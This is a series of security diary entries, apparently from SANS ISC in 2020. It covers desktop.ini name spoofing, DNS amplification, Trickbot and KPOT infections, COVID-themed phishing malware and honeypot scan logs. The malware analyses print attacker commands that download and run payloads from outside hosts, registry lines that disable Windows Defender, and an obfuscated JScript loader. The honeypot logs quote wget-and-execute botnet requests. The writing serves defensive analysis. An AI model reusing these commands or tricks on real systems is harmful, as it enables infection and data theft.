Desktop.ini files have been part of Windows operating systems for a long time. They provide users with the option to customize the appearance of specific folders in File Explorer, such as changing their icons[1]. That is not all they are good for, however.

Couple of months back, I noticed a small weakness/vulnerability in the way desktop.ini files are interpreted by File Explorer, which may be used to hide files and folders from a user without a need to delete them or to substitute different file/folder for a valid one. As you can probably imagine, this might lead to users executing unintended code or reading from/writing to unintended folders or files and could therefore be quite useful for certain red teaming activities or malicious actions (as well as for pulling pranks on co-workers, but we’ll leave that aside).

It is possible I wasn’t the first one to notice the issue, but since I didn’t find any write-ups of it anywhere else (and since Microsoft informed me that they will not be fixing the vulnerability in the current version of the OS and don’t mind if I publish it), I thought I’d share it here.

UPDATE: It turns out that Adam, aka @Hexacorn, did a write-up of the folder re-naming capability of desktop.ini all the way back in 2012. You may find it here.

Before we get into the details of how it may be exploited, let’s take a quick look at the conditions under which desktop.ini files are interpreted by File Explorer. When a desktop.ini file is created by the operating system, it has the Hidden (H) and System (S) attributes set. You may check this by having Windows create one (e.g. by going to Properties of a folder and changing its icon on the Customize tab) and then looking at its attributes using the attrib command.

Although these attributes are customary for desktop.ini files, they are not necessary in order for them to be interpreted by File Explorer. In fact, the file itself doesn’t have to have any special attributes set, but the folder containing the desktop.ini file needs to be Read-only (i.e. the “R” attribute).

Besides that, of course, the desktop.ini file needs to have valid contents conforming to the INI format[2]. The following example shows a correctly formatted desktop.ini.

[.ShellClassInfo]
IconResource=C:\WINDOWS\System32\SHELL32.dll,8

So where is the vulnerability?

It lies in the fact that an icon of a folder isn’t the only thing which may be changed using desktop.ini. The name of the folder, as well as the names of all files it contains, may seemingly be changed as well. This may be done with the use of “LocalizedResourceName” key and the “LocalizedFileNames” section. If these are present in a desktop.ini file, the File Explorer (other file managers will still display files normally) will display names provided by them instead of the real ones.

The name of a folder may be changed by setting LocalizedResourceName in its desktop.ini file in the following way.

[.ShellClassInfo]
LocalizedResourceName=Benign files

As you may see, our folder “Malicious files” becomes “Benign files”. Using this mechanism, it is even possible to create multiple folders with the (seemingly) same name in the same path (more on that later).

Changing of file names using desktop.ini is similar – one only needs to use the LocalizedFileNames section, as the following example shows.

[LocalizedFileNames]
malicious_file.exe=bening_file
benign_file.exe=unimportant_file

As you may see, the malicious_file.exe is now displayed as benign_file.exe (at least in File Explorer), and the original benign_file.exe was seemingly re-named to unimportant_file.exe. If you’d like to try this out on your own system, you may download an archive containing the folder used in the example from https://untrustednetwork.net/files/ISC/2020/Desktop_ini.zip.

Since almost any string may be used for the “fake” file or folder name, there is quite a large potential for misuse of this behavior of File Explorer, as you can probably imagine.

Although a hypothetical attacker would have to have high enough privileges to write desktop.ini to any folder he would wish to use (and potentially to set the folder to be “read-only”), the fact that the behavior is the same on local drives as on remote shares makes the above-described technique viable for the post-exploitation phase of a red team engagement.

Two main scenarios for use of the vulnerability come to mind:

1. A red teamer/malicious actor could create a folder named “abc” and place it on a file system in the same path, where a folder, which is inaccessible to him and into which other users write confidential information (e.g. a “Salaries” folder), is placed. The malicious actor could then set the folder “abc” with a “read-only” attribute and place in it a desktop.ini with the following contents:

   [.ShellClassInfo]
   LocalizedResourceName=Salaries

   This would result in two folders named “Salaries” seemingly existing in the same path and since File Explorer usually displays folders alphabetically, the fake “Salaries” folder would be displayed first (as it’s name really starts with “a”). A user could then easily make the mistake of saving a file into the fake “Salaries” folder instead of the legitimate one.

2. A red teamer/malicious actor could substitute one file for another and cause a legitimate user to open/modify/execute/delete the wrong one. An example might be substituting one executable (malicious) for another (benign), as was shown in one of the previous examples.

It should be noted that none of the above-mentioned activities would result in any detectable events in terms of re-naming of the files or folders themselves, given that no “re-naming” actually takes place. On the other hand, since new desktop.ini files are only seldom created, especially on network files shares, one potential detection mechanism for attempted use of these techniques could be to simply monitor any newly created files named desktop.ini on any sensitive file system.

I should add that I tested the behavior only on Windows 10 and Windows 7, but I wouldn’t be surprised if other Windows OSs behaved in the same manner.

As you may see, desktop.ini files may really be used for much more than just changing a folder icon. And although the techniques described above are mainly useful for (if anything) red teaming, either when interacting with a shared-computer environment or with network file shares, it is definitely good to be aware of them, whether one leans more toward the blue or red side of the infosec spectrum.

[1] https://docs.microsoft.com/en-us/windows/win32/shell/how-to-customize-folders-with-desktop-ini
[2] https://en.wikipedia.org/wiki/INI_file#Format

-----------
Jan Kopriva
@jk0pr
Alef Nula

DNS is still a popular protocol to amplify denial of service attacks. A rather small DNS query, sent to an open recursive resolver, can be used to trigger a large response. Over the last few years, DNS servers implemented many countermeasures to make it more difficult to launch these attacks and easier to mitigate them. It also has become easier (but not trivial) to defend against these attacks. But in the end, you still have to "buy your way out" of a denial of service attacks. For smaller organizations, even an average attack can be devastating.

One of our large honeypots acts as an open resolver (with some rate limiting and other precautions to make them less effective as an amplifier). I collected data these last two weeks to see what targets are being attacked and which DNS records are used in these attacks.

The top two records (by a far distance) for DNS amplification these two weeks have been "access-board.gov" and the name servers for the root zone ("Root Hints"). .gov domains are very popular for two reasons: First of all, .gov supports DNSSEC, and with that responses tend to be larger. With DNSSEC also comes EDNS0 support, which allows for responses via UDP exceeding 512 bytes. These large responses may be fragmented and more difficult to block. Secondly, ".gov" is often considered trusted or even essential and not blocked as a result.

This chart of the top 4 domains used shows how the "access-board.gov" and "root" queries dominated the traffic

The access-board.gov ANY record is 2020 bytes long. It includes only one 'A' record. The remaining data is DNSSEC keys and signatures. Worse are domains like "peacecorp.gov". "peacecorp.gov" is also often used in DDoS attacks. the "ANY" record for peacecorps.gov is 3629 bytes long due to a number of TXT records that are included.

The Root NS record is not quite as long. But Windows DNS servers will respond to it by default which provides for a large set of possible reflectors. A short query (about 20 bytes) will result in 823 byte responses.

But who are the targets of these attacks? During these 2 weeks, we did see 368 targets. The top targets are IRC server. I guess some things never change, and IRC servers are still at the top of the DDoS list. What is probably more notable: The list is missing "household names" and appears more or less random. These attacks hit small businesses and home systems, not large banks and other "well known" services. Part of this is likely due to the fact that these larger companies have defenses in place to counter simple reflective DNS DDoS attacks. Smaller businesses are missing these defenses and are more vulnerable. 

The top 10 victims ("Shared" means the server hosted multiple domains. "unknown" for servers that I couldn't reach (maybe as a result of the attacks) or a server where I couldn't figure out the purpose)

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Introduction

Trickbot is an information stealer/banking malware that uses modules to perform different functions.  With Windows 10, these modules are loaded into memory, and we only see initial Trickbot binary and a text-based configuration file stored on the infected Windows 10 host.

Access to Trickbot-infected hosts is granted to other criminals groups to distribute other malware like Ryuk ransomware.  This sort of follow-up malware has previously been noted in conjunction with Powershell Empire traffic and/or Cobalt Strike activity on a Trickbot-infected host.

But today's diary focuses on one of the distribution methods for the initial Trickbot infection.

Last month on 2020-02-25, I ran across an example of Trickbot (gtag red4) distributed as a Windows DLL file.  Normally, I see Trickbot distributed as an Windows EXE.  2020-02-25 was the first time I personally saw Trickbot distributed and made persistent as a DLL.

On Tuesday 2020-03-17, I ran across another example of Trickbot as a DLL.  This time, it was gtag red5, and I've documented the occasion in today's ISC diary.

Of note, a Trickbot sample's "gtag" indicates its specific method of distribution.  The "red" series gtag has been noted with Trickbot as a DLL file distributed using a JSE downloader.  The image below shows a flow chart for my infection on Tuesday 2020-03-17.

Shown above:  Flow chart for this specific gtag red5 Trickbot infection chain.

Images from the infection

Shown above:  Screenshot of the Word document that kicked off this Trickbot infection.

Shown above:  Enabling macros caused the Word document to save a copy of itself.

Shown above: Meanwhile, I found a JSE file that acted as a malware loader in a newly-created directory named C:\netstats\.

Shown above:  The JSE-based loader PressTableList.jse appears to be highly-obfuscated.

Shown above:  HTTPS/SSL/TLS traffic generated by PressTableList.jse filtered in Wireshark.

Shown above:  Certificate issuer data from HTTPS/SSL/TLS traffic caused by PressTableList.jse.

Shown above:  About 1 hour after the initial infection, I saw signs of a Trickbot infection.

Shown above:  Shortly before the Trickbot traffic, I found evidence of a Trickbot binary saved to the infected Windows host.

Shown above:  The scheduled task to keep Trickbot persistent indicates this Trickbot binary is a DLL.

Shown above:  More Trickbot traffic, including HTTP requests over TCP port 8082 that reveal this Trickbot is gtag red5.

Shown above:  HTTP requests ending in .png that returned follow-up Trickbot binaries (these were EXE files, not DLL or PNG).

Indicators of Compromise (IoCs)

Traffic from an infected Windows host:

JSE loader traffic:

• 185.216.35[.]10 port 443 - HTTPS/SSL/TLS traffic

Trickbot infection traffic:

• port 80 - api.ipify[.]org - GET / [ip address check by the infected host, not inherently malicious]
• 51.254.164[.]245 port 443 - HTTPS/SSL/TLS traffic
• 146.185.253[.]176 port 447 - HTTPS/SSL/TLS traffic
• 181.129.104[.]139 port 449 - HTTPS/SSL/TLS traffic
• 46.4.167[.]250 port 447 - attempted TCP connections but no response from the server
• 64.44.51[.]113 port 447 - attempted TCP connections but no response from the server
• 203.176.135[.]102 port 8082 - 203.176.135[.]102:8082 - POST /red5/[host name]_[windows version].[32-digit hex string in ASCII]/90
• 203.176.135[.]102 port 8082 - 203.176.135[.]102:8082 - POST /red5/[host name]_[windows version].[32-digit hex string in ASCII]/81/
• 51.89.115[.]101 port 80 - 51.89.115[.]101 - GET /images/cursor.png
• 51.89.115[.]101 port 80 - 51.89.115[.]101 - GET /images/imgpaper.png

Malware/artifacts from an infected Windows host

SHA256 hash: 08b885ccc3eda61a918bd1887b7669e54d03be79a3accae765c10cd0850ff10d

• File size: 270,883 bytes
• File name: Info_17033267714.doc
• File description: Word doc with macro for JSE downloader

SHA256 hash: c0fe570561cc3546ed7e03523baf5e482ec9ee98e6a8de161fdc885f6721f0a0

• File size: 49 bytes
• File location: C:\netstats\PressTableList.cmd
• File description: CMD script to run PressTableList.jse
• File content: cscript //nologo c:\netstats\PressTableList.jse
• Note: Not malicious by itself

SHA256 hash: 36ef77fe7b4a27813c8149674565f60aceb2fa9510e04732ef53367ce3dc567a

• File size: 356,006 bytes
• File location: C:\netstats\PressTableList.jse
• File description: JSE-style malware downloader

SHA256 hash: 445716d2fdd0cc8927c02bda53f44cba82f3a934d1a6cb9163760544b3e515e9

• File size: 636,416 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\d26db78fApo6057.pif
• File location: C:\Users\[username]\AppData\Roaming\ElAts\rzd26db78fApo6057nn.vgy
• File description: DLL file retrieved by JSE-style downloader, this is Trickbot gtag red5

SHA256 hash: 262cf3e4da865ff7b028d2f1be407d1d37008644ee89c3e16f4b873e6cde344c

• File size: 20,541 bytes
• File location: C:\Users\[username]\AppData\Roaming\ElAts\settings.ini
• File description: Configuration/settings file used by Trickbot, different file hash and content for each infection. This is not inherently malicious on its own.

SHA256 hash: efb75ce7030fc32190909048fcb3fab024cb8779b9559a417b8d397352ae6ea2

• File size: 696,371 bytes
• File location: hxxp://51.89.115[.]101/images/cursor.png
• File description: Follow-up Trickbot EXE (gtag: tot698) returned from URL ending in .png

SHA256 hash: 3850e5731f9f1430eafd477b5e0607aad48f80bb28e32d163b941414db7f1695

• File size: 696,371 bytes
• File location: hxxp://51.89.115[.]101/images/imgpaper.png
• File description: Follow-up Trickbot EXE (gtag: lib698) returned from URL ending in .png

Final words

A pcap of the infection traffic along with the associated malware can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

More and more countries are closing their borders and ask citizens to stay at home. The COVID-19 virus is everywhere and also used in campaigns to lure more victims who are looking for information about the pandemic. I found a malicious email that delivers a multi-stage malware.

It spoofs a World Health Organisation email and pretends to provide recommendations to the victim:

From: World Health Organisation <info@who.org>
To: xxx
Subject: CORONAVIRUS TRAVEL RECOMMENDATIONS

Dear Sir / Madam,

Following the vertiginous spread of the CORONAVIRUS epidemic, which has 
already left more than 4,200 people dead and 119,000 cases worldwide; we
recommend these sanitary measures.

Download these measures [1]

Kind Regards,

WORLD HEALTH ORGANIZATION

Avenue Appia 20
1202 Geneva
Swiss
Phone: + 41-22-7912111

Links:
------
[1] hxxp://bit[.]ly/2W1eAvU

The shortened link redirects to an URL that serves a malicious Word document:

hxxp://216[.]189[.]145[.]11/RECOMMENDATIONS CORONAVIRUS.doc

(This IP is located in the US (a hosting company)

The downloaded document (SHA256:c3379e83cd3e8763f80010176905f147fcc126b5e7ad9faa585d5520386bd659) has a current VT score of 6/60[1]! The document does  have any macro but has two embedded objects:

root@remnux:/malwarezoo# oledump.py “RECOMMENDATIONS CORONAVIRUS.doc”
  1:       114 '\x01CompObj'
  2:       280 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:      7340 '1Table'
  5:      5304 'Data'
  6: O   26260 'ObjectPool/_1645425484/\x01Ole10Native'
  7:         6 'ObjectPool/_1645425484/\x03ObjInfo'
  8: O   26359 'ObjectPool/_1645425485/\x01Ole10Native'
  9:         6 'ObjectPool/_1645425485/\x03ObjInfo'
10:      4096 'WordDocument'

The two embedded documents are the same and are DOS batch files (SHA256:c8aace2ca96c6e308f374f4b2e425849ca94287aa8ea9768c5a24b38a2167d24), unknown on VT.

When you look at the file, it is heavily obfuscated using Chinese characters:

This script is a downloader and grabs another script via Powershell:

powershell  -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('hxxp://216[.]189[.]145[.]11/auto.cfg.bat', 'C:\Users\Public\Libraries\auto.cfg.bat');" C:\Users\Public\Libraries\auto.cfg.bat

The new script is obfuscated in the same way. Once launched, it perform the following actions:

It changes system registry keys to affect system security. Some example:

reg  add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
reg  delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg  add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

The script is also a downloader and grabs another stage via Powershell:

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.EXE -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZABkAHAALgBuAGUAdAAvAHYAPwBnAHAAbAAxADkAMAA3ADIAMwAnACkA

The Powershell code is:

I.E.X. .(.N.e.w.-.O.b.j.e.c.t. .N.e.t...W.e.b.C.l.i.e.n.t.)...d.o.w.n.l.o.a.d.s.t.r.i.n.g.(.'.h.t.t.p.:././.v...b.d.d.p...n.e.t./.v.?.g.p.l.1.9.0.7.2.3.'.).

Unfortunately, this URL was not responding

Another stage is downloaded. This time, it’s a piece of Javascript code processed via mshta.exe:

mshta  hxxp://GoogleChromeUpdater[.]twilightparadox[.]com:448/html

Here is a beautified version of the code:

<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);
try {
    window.onerror = function(sMsg, sUrl, sLine) { return false; }
    window.onfocus = function() { window.blur(); }
} catch (e){}

function NOmOucjRaxBnHwMIf(gpkyaHkgGqh,iavlrtFGhy) {
  var SfYFsjixiguptptyv='';
  while(iavlrtFGhy.length<gpkyaHkgGqh.length) {
    iavlrtFGhy+=iavlrtFGhy;
  }
  for(i=0+0-0;i<gpkyaHkgGqh.length;i+=(2+0-0)) {
    var TcnMXxJMlPhQpMlksnDx=String.fromCharCode(parseInt(gpkyaHkgGqh.substr(i,2+0-0),16+0-0)^iavlrtFGhy.charCodeAt(i/(2+0-0)));
    SfYFsjixiguptptyv=SfYFsjixiguptptyv+TcnMXxJMlPhQpMlksnDx;
  }
  return SfYFsjixiguptptyv;
}

var gXbDAuFXjxYTM="xGYBCFZPNUjKFwPBeiSAxSyettCzqjyFUJMjImpwDmpwlQqatTAgfCPGAQAFiCgaWUYREMMPMJYBkIygwmbEzDPpbAGbtlNPimLLk";
var ckTUCQboJKNoxRgH="ksYuHEQKKuHjHjfFWUCuWQZzzMDMYSJGvrcgEPiLSRVwqPelhmAJInYhMWUJjBrSbFSbnFnFjlOhpPsOTWDPApkTlNxwipMPTVtxBJBtwmtUIElEWCHjKI";
var rZyJSgQdCyJzu="CBgHEmtkzNEWPCDReDwdcjiSEQgFQiyfQWBaGtsSPZPMPYfqGBIBJbQrepPeewKgqWyEtkYeMJsRLCFRwFaZEYCtNOJkqvaQQ";
var sAshjBJYMdMIRSDamX="sQKCisvUKaeuAFbpkganpjeYMdVCduknkLCKKeOhxzFyFejCVCqRcGRGdedcXrnPxJGnrcHviAlGBfbVJXUWArpEpkOFOuwkyxnjUzrCjKjQ";
var vYbxosMmhxPzmH=[String.fromCharCode(gXbDAuFXjxYTM.length),
                    String.fromCharCode(ckTUCQboJKNoxRgH.length),
                    String.fromCharCode(rZyJSgQdCyJzu.length),
                    String.fromCharCode(sAshjBJYMdMIRSDamX.length)
                   ];
var tNInITnWOtBTh=this[vYbxosMmhxPzmH[0+0-0]+vYbxosMmhxPzmH[1+0-0]+vYbxosMmhxPzmH[2+0-0]+vYbxosMmhxPzmH[3+0-0]];tNInITnWOtBTh(NOmOucjRaxBnHwMIf('40093c4e363003611e0b3a6a3a166b154b531a3a2f3c
07741d1f267742150624752c1f373b320f04392307132d312207400d1621000e2b5a236e52600f203f1e420120094c2227553215094018373b2154022b0d1646670203123d6b251f1c37602c60202e34147d120429743e6f380b41480f0d1
[...Long string truncated...]
162c21390d1625753829001b45582d195e01220b4a20216e38341b1b457b6d3a622516272f2e176f1368377635010f3c63250c374a4d75445d20055d0f263f0158480a01350b3c52032f1d56032722461f6235080d16664f3634505a5162
d070a597e55494f27105d3d19554473120161073c054a4d67332c12247e341b1b246f3e0a402521176a0e14257e2e0b7e470d1a2b1a171620022a3b7a67381f0e277b221738264a09611e013e77350b102d18391c363b351c7d0700381b4
707f55623c03362b29046001025e74290b0537643d032c3b4c67022a','6hNnbdN9WFp3lRVn'));
</script>
<hta:application caption="no" windowState="minimize" showInTaskBar="no"
                 scroll="no" navigable="no" />
                 <!--  -->

The Interesting part of the code is the way they obfuscate the ‘eval’ call:

var vYbxosMmhxPzmH=[String.fromCharCode(gXbDAuFXjxYTM.length),
                    String.fromCharCode(ckTUCQboJKNoxRgH.length),
                    String.fromCharCode(rZyJSgQdCyJzu.length),
                    String.fromCharCode(sAshjBJYMdMIRSDamX.length)
                   ];

They convert the length of each variable into a char:

String.fromCharCode(gXbDAuFXjxYTM.length) -> ‘e’
String.fromCharCode(ckTUCQboJKNoxRgH.length) -> ‘v’
...

In the function NOmOucjRaxBnHwMIf(), you can spot a ‘^’ operator that manipulates strings and decrypt the XOR’d code. SpiderMonkey is the perfect tool to decode the JavaScript:

root@remnux:/malwarezoo# js -f /usr/share/remnux/objects.js malicious.js

The script is very nicely obfuscated but, based on first analysis, it looks to be a bot performing POST request at a regular interval... I'll publish my findings about this script in my next diary!

Here is a first step: It exfiltrates data about the infected host:

[1] https://www.virustotal.com/gui/file/c3379e83cd3e8763f80010176905f147fcc126b5e7ad9faa585d5520386bd659/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I was curious this week to see if my honeypot traffic would increase since a large portion of the world is working from home. Reviewing my honeypot logs, I decided to check what type of filename was mostly targeted (GET/POST/HEAD) by scanners  this past week on any web supported ports (i.e. 80, 81, 8000, etc). This first graph shows overall activity for the past 7 days.

The following graph shows 86 different files picked picked up in the past week. Obviously some are familiar and non malicious (i.e. robot.txt, favicon.ico, etc) but a lot of the others are suspicious (i.e. various nmap nse scripts).

I included a few interesting GET/POST that got captured over this past week but infortunatly, the files listed in here are no longer available for analysis:

This random hostname (jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz) is no longer active. I was able to find information about it on URLhaus [1] matching the same URL.

• 20200216-112558: 192.168.25.9:80-81.170.246.37:58126 data 'GET /shell?cd /tmp;rm -rf *;wget http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh /tmp/jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: 127.0.0.1:80\r\nAccept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n'

The file (Mozi) is an ELF (Linux) file use by the Mirai botnet [2].

• 20200319-222704: 192.168.25.9:80-110.18.194.228:43884 data 'GET /shell?cd+/tmp;rm+-rf+*;wget+http://110.18.194.228:49906/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: 70.30.102.198:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n'

This IP has been identified as an open proxy used by hackers [3]

• 20200321-033332: 192.168.25.9:80-5.188.210.101:56359 data 'GET http://5.188.210.101/echo.php HTTP/1.1\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nPragma: no-cache\r\nCache-control: no-cache\r\nCookie: cookie=ok\r\nReferer: https://www.google.com/\r\nHost: 5.188.210.101\r\nConnection: close\r\nContent-Length: 0\r\n\r\n'

I was able to find information about it on URLhaus [4] matching the same URL and is no longer active.

• 20200321-070843: 192.168.25.9:80-79.12.124.244:60834 data 'POST /boaform/admin/formPing HTTP/1.1\r\nUser-Agent: polaris botnet\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\ntarget_addr=;cd /tmp; rm -rf *; wget http://51.254.23.227/bins/n; chmod 777 n; sh n; rm -rf * /&waninf=1_INTERNET_R_VID_154\r\n\r\n'

If you have a Netgear router, make sure it is patched.

• 20200321-125520: 192.168.25.9:80-120.34.172.232:27813 data 'GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n'

[1] https://urlhaus.abuse.ch/host/jhasdjahsdjasfkdaskdfasbot.niggacumyafacenet.xyz/
[2] https://www.virustotal.com/gui/file/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b/detection
[3] https://ip-46.com/5.188.210.101
[4] https://urlhaus.abuse.ch/url/327495/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Reader Andrew received a COVID-19 themed email with malicious attachment, and submitted the complete email.

My tool emldump.py reports the different parts:

The email body is a fake message from criminals cautioning their victims that documents are required to leave their house during a "National State of Emergency", which are conveniently attached to the email:

The attachment is a ZIP file. Analysis with zipdump.py:

The ZIP file contains a single VBScript file:

This long BASE64 string can be easily analyzed with base64dump.py:

This is another script with more BASE64, but reversed (notice VBScript function StrReverse). I reverse it with python-per-line.py and decode it with base64dump.py:

This PowerShell script downloads 3 files. The files were no longer up when I took a look at this sample, but handler Jan was quicker and gave me the files.

The 3 files are:

1. A bening, legitimate and signed PE file: AutoIt interpreter
2. A malicious, obfuscated AutoIt script, masquerading as a certificate
3. A file with a very high entropy (probably encrypted)

As you can guess, after downloading these files, the AutoIt script is decoded (with certutil) and then executed with the downloaded AutoIt interpreter.

I'm still busy with the static analysis of these files, but a dynamic analysis reveals that the AutoIt script will read the encrypted file and then attempt to connect to servers krt1[.]site, krt2[.]site and krt3[.]site.

These sites too are no longer active, but a quick search reveals that this is the KPOT infostealer.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I have other samples like the malware I covered in yesterday's diary entry.

All with the same body and attachment, it's just the sender that varies. The PowerShell scripts are the same and download from show1[.]website. Like I wrote yesterday, three files are downloaded:

1. A legitimate, signed AutoIt interpreter (this is not malware)
2. A heavily obfuscated AutoIt script, that is encoded as a PEM certificate
3. An encrypted EXE: KPOT info stealer

The PowerShell script uses certutil to BASE64-decode the "certificate" to the AutoIt script, and then lauches the AutoIt interpreter with the script as argument.

The AutoIt script contains process hollowing shellcode (known as frenchy shellcode), that decrypts the encrypted PE file as guest and uses 32-bit dllhost.exe as host (as process hollowing host, not as dll host).

The PH shellcode contains mutex name "frenchy_shellcode_06", but this name is randomized by the AutoIt script before it is injected and executed.

As the decrypted KPOT EXE is never written to disk, it was unknown by VirusTotal. I did submit it today.

KPOT is an infostealer, as can be guessed from the strings found inside the executable:

More interesting strings are simply XOR-encoded (1-byte key).

Like the C2:

And the targets:

Usually, I explain in detail my analysis steps, so that you can reproduce them. I will do this too for this executable in one or more upcoming diary entries.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Microsoft announced limited exploitation of a zeroday remote code execution vulnerability in the type 1 font parser.

There are two RCE vulnerabilities in Windows Adobe Type Manager Library on Windows system, when parsing Adobe Type 1 PostScript format. There are multiple attack vectors, like documents.

Microsoft is working on a patch.

Following mitigation actions can be taken:

• Disable the Preview Pane and Details Pane in Windows Explorer

• Disable the WebClient service

• Rename ATMFD.DLL

   

Microsoft advisory ADV200006

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Following is a guest cross-post from John Scott-Railton, a Senior Researcher at The Citizen Lab. His work focuses on technological threats to civil society.

We all know about global shortages of ventilators, protective equipment, and pharmaceuticals. But as work moves home, it will be much less secure, harder to defend, and easier to snoop on.

Working From Home & At Risk…From Hackers
As a researcher investigating state-sponsored hacking I’ve been trying to think about what COVID-19 means for cybersecurity. My guesses begin at as I look around me, with the massive growth of work-from-home, and how it will will make life easier on hackers, and harder on defenders.

Last week, as workplaces emptied into the stubble-and-sweatpants of full-time-remote-work most desktops stayed at the office. Some employers sent staff home with fleets of laptops and phones. Most did not.
Predictably, the world’s business has slid into a world of personal devices, personal chat & calling apps, and un-administered, unpatched home wifi routers and networks. This is some remarkable, quick moving resiliency. It is also introducing serious new risks that could lead us to be re-victimized digitally.

The New Workplace Has More Doors, Fewer Locks
It has always been a challenge for administrators to make sure that sensitive work is conducted over work networks and on work devices. The new reality of COVID-19 is that employees need:

• More remote access to networks and resources
• To access new resources as colleagues take sick leave
• To conduct business on personal devices, accounts and apps

Once it would be a rarity for a major deal, or sensitive negotiation to have someone joining from a home office, on a personal device. For a while, it will be the new normal.

Browsing in the time of COVID-19
The baseline for most personal devices is default-insecure. The new work desktop in the era of COVID-19 is going to be an unpatched, crusty laptop that spent the past two years Netflix & chilling. We already see plenty of COVID-19 related internet opportunism, from themed phishing and ransomware, to more esoteric attacks. Most internet-connected personal (and work!) devices will swim in this threat-and-nuisance soup for months.
Depending on demographics and income, personal devices like laptops will do double and triple duty. Kids will submit homework, roommates format CVs, do taxes, and partners borrow something that doesn’t freeze on the flavor-of-the-week teleconferencing app their work is rolling out. If ever there was a petri dish…

Blurring work & personal accounts
Work conferencing and chatting solutions are a mixed bag in the best of times. As users struggle with network latencies and bandwidth, and the need to talk to other organizations, many are pivoting to personal accounts on services like WhatsApp and iMessage.
While moving to end-to-end encrypted chats has many benefits, it can also contribute to the further blurring of work and personal accounts and devices, and paint a target on a device or an account that the owner has never thought to secure.

…and your adversaries have a video feed!
The desperately insecure internet-of-things/s**t has slid into many homes. While the new home panopticon leaves many uneasy, it has only rarely entered the consciousness of defenders as a workplace threat. That should change right now. For the next while, masses of sensitive work business will be conducted in the vicinity of smart devices. Defenders might find it useful to try and picture the internet of things the way nation states and other threat actors do: a massive new collection opportunity against their workforce. Perhaps a memo-from-the-dept-of-silver-lining for this situation will be that the insecurity of these devices will finally attract some serious attention. Then again, probably not.

COVID-19 Will Give Hackers Wings
Investments in endpoint, network and cloud security raise the costs for potential attackers (in theory!). But when sensitive work business moves away from these devices and environments, the impact of that investment will be quickly degraded as IT staff and CISOs cannot monitor what happened.

The Defenders Will Be Blind
The personal devices and accounts pulling work duty will be largely un-administered and un-logged. On a given Thursday afternoon, IT staff is going to be busy helping everyone troubleshoot the 14th Zoom meeting of the week. In this environment, individual breaches are even less likely to be noticed.
The predictable result of the new COVID-19 remote workplace will be like a shot of Red Bull for less skilled, less well resourced threat actors. Suddenly they will get wings!
At the extreme end, phishing and RATS will, for a while, probably do some of the work of much more sophisticated tactics.
Groups like the Syrian Electronic Army that, years ago, hit ceilings of technological sophistication that made it hard for them to effectively target companies and governments will undoubtedly give it another go, this time even more focused on personal devices and accounts. Meanwhile, the more sophisticated nation state operations have every incentive try harder, for more, and assume less attention will be paid to their operations.

We Are Not In *All* of This Together
The hugely ad-hoc insecure new workplace would be less terrifying if everyone were experiencing the COVID-19 pandemic at the same time, and in the same disruptive way. We aren’t. Each country and community is somewhere different on the timeline of the illness.
